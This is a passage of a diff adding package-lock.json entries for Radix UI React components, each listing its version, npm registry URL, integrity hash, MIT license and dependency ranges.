+ "optional": true + } + } + }, + "node_modules/@radix-ui/react-focus-scope": { + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-scope/-/react-focus-scope-1.1.7.tgz", + "integrity": "sha512-t2ODlkXBQyn7jkl6TNaw/MtVEVvIGelJDCG41Okq/KwUsJBwQ4XVZsHAVUkK4mBv3ewiAS3PGuUWuY2BoK4ZUw==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-callback-ref": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-id": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-id/-/react-id-1.1.1.tgz", + "integrity": "sha512-kGkGegYIdQsOb4XjsfM97rXsiHaBwco+hFI66oO4s9LU+PLAC5oJ7khdOVFxkhsmlbpUqDAvXw11CluXP+jkHg==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-use-layout-effect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-label": { + "version": "2.1.8", + "resolved": "https://registry.npmjs.org/@radix-ui/react-label/-/react-label-2.1.8.tgz", + "integrity": "sha512-FmXs37I6hSBVDlO4y764TNz1rLgKwjJMQ0EGte6F3Cb3f4bIuHB/iLa/8I9VKkmOy+gNHq8rql3j686ACVV21A==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-primitive": "2.1.4" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-label/node_modules/@radix-ui/react-primitive": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.4.tgz", + "integrity": "sha512-9hQc4+GNVtJAIEPEqlYqW5RiYdrr8ea5XQ0ZOnD6fgru+83kqT15mq2OCcbe8KnjRZl5vF3ks69AKz3kh1jrhg==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-slot": "1.2.4" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-menu": { + "version": "2.1.16", + "resolved": "https://registry.npmjs.org/@radix-ui/react-menu/-/react-menu-2.1.16.tgz", + "integrity": "sha512-72F2T+PLlphrqLcAotYPp0uJMr5SjP5SL01wfEspJbru5Zs5vQaSHb4VB3ZMJPimgHHCHG7gMOeOB9H3Hdmtxg==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-collection": "1.1.7", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-direction": "1.1.1", + "@radix-ui/react-dismissable-layer": "1.1.11", + "@radix-ui/react-focus-guards": "1.1.3", + "@radix-ui/react-focus-scope": "1.1.7", + "@radix-ui/react-id": "1.1.1", + "@radix-ui/react-popper": "1.2.8", + "@radix-ui/react-portal": "1.1.9", + "@radix-ui/react-presence": "1.1.5", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-roving-focus": "1.1.11", + "@radix-ui/react-slot": "1.2.3", + "@radix-ui/react-use-callback-ref": "1.1.1", + "aria-hidden": "^1.2.4", + "react-remove-scroll": "^2.6.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-menu/node_modules/@radix-ui/react-slot": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", + "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.2" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-popover": { + "version": "1.1.15", + "resolved": "https://registry.npmjs.org/@radix-ui/react-popover/-/react-popover-1.1.15.tgz", + "integrity": "sha512-kr0X2+6Yy/vJzLYJUPCZEc8SfQcf+1COFoAqauJm74umQhta9M7lNJHP7QQS3vkvcGLQUbWpMzwrXYwrYztHKA==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-dismissable-layer": "1.1.11", + "@radix-ui/react-focus-guards": "1.1.3", + "@radix-ui/react-focus-scope": "1.1.7", + "@radix-ui/react-id": "1.1.1", + "@radix-ui/react-popper": "1.2.8", + "@radix-ui/react-portal": "1.1.9", + "@radix-ui/react-presence": "1.1.5", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-slot": "1.2.3", + "@radix-ui/react-use-controllable-state": "1.2.2", + "aria-hidden": "^1.2.4", + "react-remove-scroll": "^2.6.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-popover/node_modules/@radix-ui/react-slot": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", + "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.2" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-popper": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@radix-ui/react-popper/-/react-popper-1.2.8.tgz", + "integrity": "sha512-0NJQ4LFFUuWkE7Oxf0htBKS6zLkkjBH+hM1uk7Ng705ReR8m/uelduy1DBo0PyBXPKVnBA6YBlU94MBGXrSBCw==", + "license": "MIT", + "dependencies": { + "@floating-ui/react-dom": "^2.0.0", + "@radix-ui/react-arrow": "1.1.7", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-callback-ref": "1.1.1", + "@radix-ui/react-use-layout-effect": "1.1.1", + "@radix-ui/react-use-rect": "1.1.1", + "@radix-ui/react-use-size": "1.1.1", + "@radix-ui/rect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-portal": { + "version": "1.1.9", + "resolved": "https://registry.npmjs.org/@radix-ui/react-portal/-/react-portal-1.1.9.tgz", + "integrity": "sha512-bpIxvq03if6UNwXZ+HTK71JLh4APvnXntDc6XOX8UVq4XQOVl7lwok0AvIl+b8zgCw3fSaVTZMpAPPagXbKmHQ==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-layout-effect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-presence": { + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@radix-ui/react-presence/-/react-presence-1.1.5.tgz", + "integrity": "sha512-/jfEwNDdQVBCNvjkGit4h6pMOzq8bHkopq458dPt2lMjx+eBQUohZNG9A7DtO/O5ukSbxuaNGXMjHicgwy6rQQ==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-use-layout-effect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-primitive": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.3.tgz", + "integrity": "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-slot": "1.2.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-primitive/node_modules/@radix-ui/react-slot": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", + "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.2" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-progress": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/@radix-ui/react-progress/-/react-progress-1.1.8.tgz", + "integrity": "sha512-+gISHcSPUJ7ktBy9RnTqbdKW78bcGke3t6taawyZ71pio1JewwGSJizycs7rLhGTvMJYCQB1DBK4KQsxs7U8dA==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-context": "1.1.3", + "@radix-ui/react-primitive": "2.1.4" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-progress/node_modules/@radix-ui/react-context": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.1.3.tgz", + "integrity": "sha512-ieIFACdMpYfMEjF0rEf5KLvfVyIkOz6PDGyNnP+u+4xQ6jny3VCgA4OgXOwNx2aUkxn8zx9fiVcM8CfFYv9Lxw==", + "license": "MIT", + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-progress/node_modules/@radix-ui/react-primitive": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.4.tgz", + "integrity": "sha512-9hQc4+GNVtJAIEPEqlYqW5RiYdrr8ea5XQ0ZOnD6fgru+83kqT15mq2OCcbe8KnjRZl5vF3ks69AKz3kh1jrhg==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-slot": "1.2.4" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-radio-group": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/@radix-ui/react-radio-group/-/react-radio-group-1.3.8.tgz", + "integrity": "sha512-VBKYIYImA5zsxACdisNQ3BjCBfmbGH3kQlnFVqlWU4tXwjy7cGX8ta80BcrO+WJXIn5iBylEH3K6ZTlee//lgQ==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-direction": "1.1.1", + "@radix-ui/react-presence": "1.1.5", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-roving-focus": "1.1.11", + "@radix-ui/react-use-controllable-state": "1.2.2", + "@radix-ui/react-use-previous": "1.1.1", + "@radix-ui/react-use-size": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-roving-focus": { + "version": "1.1.11", + "resolved": "https://registry.npmjs.org/@radix-ui/react-roving-focus/-/react-roving-focus-1.1.11.tgz", + "integrity": "sha512-7A6S9jSgm/S+7MdtNDSb+IU859vQqJ/QAtcYQcfFC6W8RS4IxIZDldLR0xqCFZ6DCyrQLjLPsxtTNch5jVA4lA==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-collection": "1.1.7", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-direction": "1.1.1", + "@radix-ui/react-id": "1.1.1", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-callback-ref": "1.1.1", + "@radix-ui/react-use-controllable-state": "1.2.2" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-scroll-area": { + "version": "1.2.10", + "resolved": "https://registry.npmjs.org/@radix-ui/react-scroll-area/-/react-scroll-area-1.2.10.tgz", + "integrity": "sha512-tAXIa1g3sM5CGpVT0uIbUx/U3Gs5N8T52IICuCtObaos1S8fzsrPXG5WObkQN3S6NVl6wKgPhAIiBGbWnvc97A==", + "license": "MIT", + "dependencies": { + "@radix-ui/number": "1.1.1", + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-direction": "1.1.1", + "@radix-ui/react-presence": "1.1.5", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-callback-ref": "1.1.1", + "@radix-ui/react-use-layout-effect": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-select": { + "version": "2.2.6", + "resolved": "https://registry.npmjs.org/@radix-ui/react-select/-/react-select-2.2.6.tgz", + "integrity": "sha512-I30RydO+bnn2PQztvo25tswPH+wFBjehVGtmagkU78yMdwTwVf12wnAOF+AeP8S2N8xD+5UPbGhkUfPyvT+mwQ==", + "license": "MIT", + "dependencies": { + "@radix-ui/number": "1.1.1", + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-collection": "1.1.7", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-direction": "1.1.1", + "@radix-ui/react-dismissable-layer": "1.1.11", + "@radix-ui/react-focus-guards": "1.1.3", + "@radix-ui/react-focus-scope": "1.1.7", + "@radix-ui/react-id": "1.1.1", + "@radix-ui/react-popper": "1.2.8", + "@radix-ui/react-portal": "1.1.9", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-slot": "1.2.3", + "@radix-ui/react-use-callback-ref": "1.1.1", + "@radix-ui/react-use-controllable-state": "1.2.2", + "@radix-ui/react-use-layout-effect": "1.1.1", + "@radix-ui/react-use-previous": "1.1.1", + "@radix-ui/react-visually-hidden": "1.2.3", + "aria-hidden": "^1.2.4", + "react-remove-scroll": "^2.6.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-select/node_modules/@radix-ui/react-slot": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz", + "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.2" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-select/node_modules/@radix-ui/react-visually-hidden": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-visually-hidden/-/react-visually-hidden-1.2.3.tgz", + "integrity": "sha512-pzJq12tEaaIhqjbzpCuv/OypJY/BPavOofm+dbab+MHLajy277+1lLm6JFcGgF5eskJ6mquGirhXY2GD/8u8Ug==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-primitive": "2.1.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-separator": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/@radix-ui/react-separator/-/react-separator-1.1.8.tgz", + "integrity": "sha512-sDvqVY4itsKwwSMEe0jtKgfTh+72Sy3gPmQpjqcQneqQ4PFmr/1I0YA+2/puilhggCe2gJcx5EBAYFkWkdpa5g==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-primitive": "2.1.4" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-separator/node_modules/@radix-ui/react-primitive": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.4.tgz", + "integrity": "sha512-9hQc4+GNVtJAIEPEqlYqW5RiYdrr8ea5XQ0ZOnD6fgru+83kqT15mq2OCcbe8KnjRZl5vF3ks69AKz3kh1jrhg==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-slot": "1.2.4" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-slider": { + "version": "1.3.6", + "resolved": "https://registry.npmjs.org/@radix-ui/react-slider/-/react-slider-1.3.6.tgz", + "integrity": "sha512-JPYb1GuM1bxfjMRlNLE+BcmBC8onfCi60Blk7OBqi2MLTFdS+8401U4uFjnwkOr49BLmXxLC6JHkvAsx5OJvHw==", + "license": "MIT", + "dependencies": { + "@radix-ui/number": "1.1.1", + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-collection": "1.1.7", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-direction": "1.1.1", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-controllable-state": "1.2.2", + "@radix-ui/react-use-layout-effect": "1.1.1", + "@radix-ui/react-use-previous": "1.1.1", + "@radix-ui/react-use-size": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-slot": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.4.tgz", + "integrity": "sha512-Jl+bCv8HxKnlTLVrcDE8zTMJ09R9/ukw4qBs/oZClOfoQk/cOTbDn+NceXfV7j09YPVQUryJPHurafcSg6EVKA==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-compose-refs": "1.1.2" + }, + "peerDependencies": { + "@types/react": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-switch": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/@radix-ui/react-switch/-/react-switch-1.2.6.tgz", + "integrity": "sha512-bByzr1+ep1zk4VubeEVViV592vu2lHE2BZY5OnzehZqOOgogN80+mNtCqPkhn2gklJqOpxWgPoYTSnhBCqpOXQ==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-controllable-state": "1.2.2", + "@radix-ui/react-use-previous": "1.1.1", + "@radix-ui/react-use-size": "1.1.1" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-tabs": { + "version": "1.1.13", + "resolved": "https://registry.npmjs.org/@radix-ui/react-tabs/-/react-tabs-1.1.13.tgz", + "integrity": "sha512-7xdcatg7/U+7+Udyoj2zodtI9H/IIopqo+YOIcZOq1nJwXWBZ9p8xiu5llXlekDbZkca79a/fozEYQXIA4sW6A==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-direction": "1.1.1", + "@radix-ui/react-id": "1.1.1", + "@radix-ui/react-presence": "1.1.5", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-roving-focus": "1.1.11", + "@radix-ui/react-use-controllable-state": "1.2.2" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-toast": { + "version": "1.2.15", + "resolved": "https://registry.npmjs.org/@radix-ui/react-toast/-/react-toast-1.2.15.tgz", + "integrity": "sha512-3OSz3TacUWy4WtOXV38DggwxoqJK4+eDkNMl5Z/MJZaoUPaP4/9lf81xXMe1I2ReTAptverZUpbPY4wWwWyL5g==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-collection": "1.1.7", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-dismissable-layer": "1.1.11", + "@radix-ui/react-portal": "1.1.9", + "@radix-ui/react-presence": "1.1.5", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-use-callback-ref": "1.1.1", + "@radix-ui/react-use-controllable-state": "1.2.2", + "@radix-ui/react-use-layout-effect": "1.1.1", + "@radix-ui/react-visually-hidden": "1.2.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-toast/node_modules/@radix-ui/react-visually-hidden": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@radix-ui/react-visually-hidden/-/react-visually-hidden-1.2.3.tgz", + "integrity": "sha512-pzJq12tEaaIhqjbzpCuv/OypJY/BPavOofm+dbab+MHLajy277+1lLm6JFcGgF5eskJ6mquGirhXY2GD/8u8Ug==", + "license": "MIT", + "dependencies": { + "@radix-ui/react-primitive": "2.1.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-tooltip": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@radix-ui/react-tooltip/-/react-tooltip-1.2.8.tgz", + "integrity": "sha512-tY7sVt1yL9ozIxvmbtN5qtmH2krXcBCfjEiCgKGLqunJHvgvZG2Pcl2oQ3kbcZARb1BGEHdkLzcYGO8ynVlieg==", + "license": "MIT", + "dependencies": { + "@radix-ui/primitive": "1.1.3", + "@radix-ui/react-compose-refs": "1.1.2", + "@radix-ui/react-context": "1.1.2", + "@radix-ui/react-dismissable-layer": "1.1.11", + "@radix-ui/react-id": "1.1.1", + "@radix-ui/react-popper": "1.2.8", + "@radix-ui/react-portal": "1.1.9", + "@radix-ui/react-presence": "1.1.5", + "@radix-ui/react-primitive": "2.1.3", + "@radix-ui/react-slot": "1.2.3", + "@radix-ui/react-use-controllable-state": "1.2.2", + "@radix-ui/react-visually-hidden": "1.2.3" + }, + "peerDependencies": { + "@types/react": "*", + "@types/react-dom": "*", + "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc", + "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@radix-ui/react-tooltip/node_modules/@radix-ui/react-slot": { + "version": "1.2.3", + "resolved": 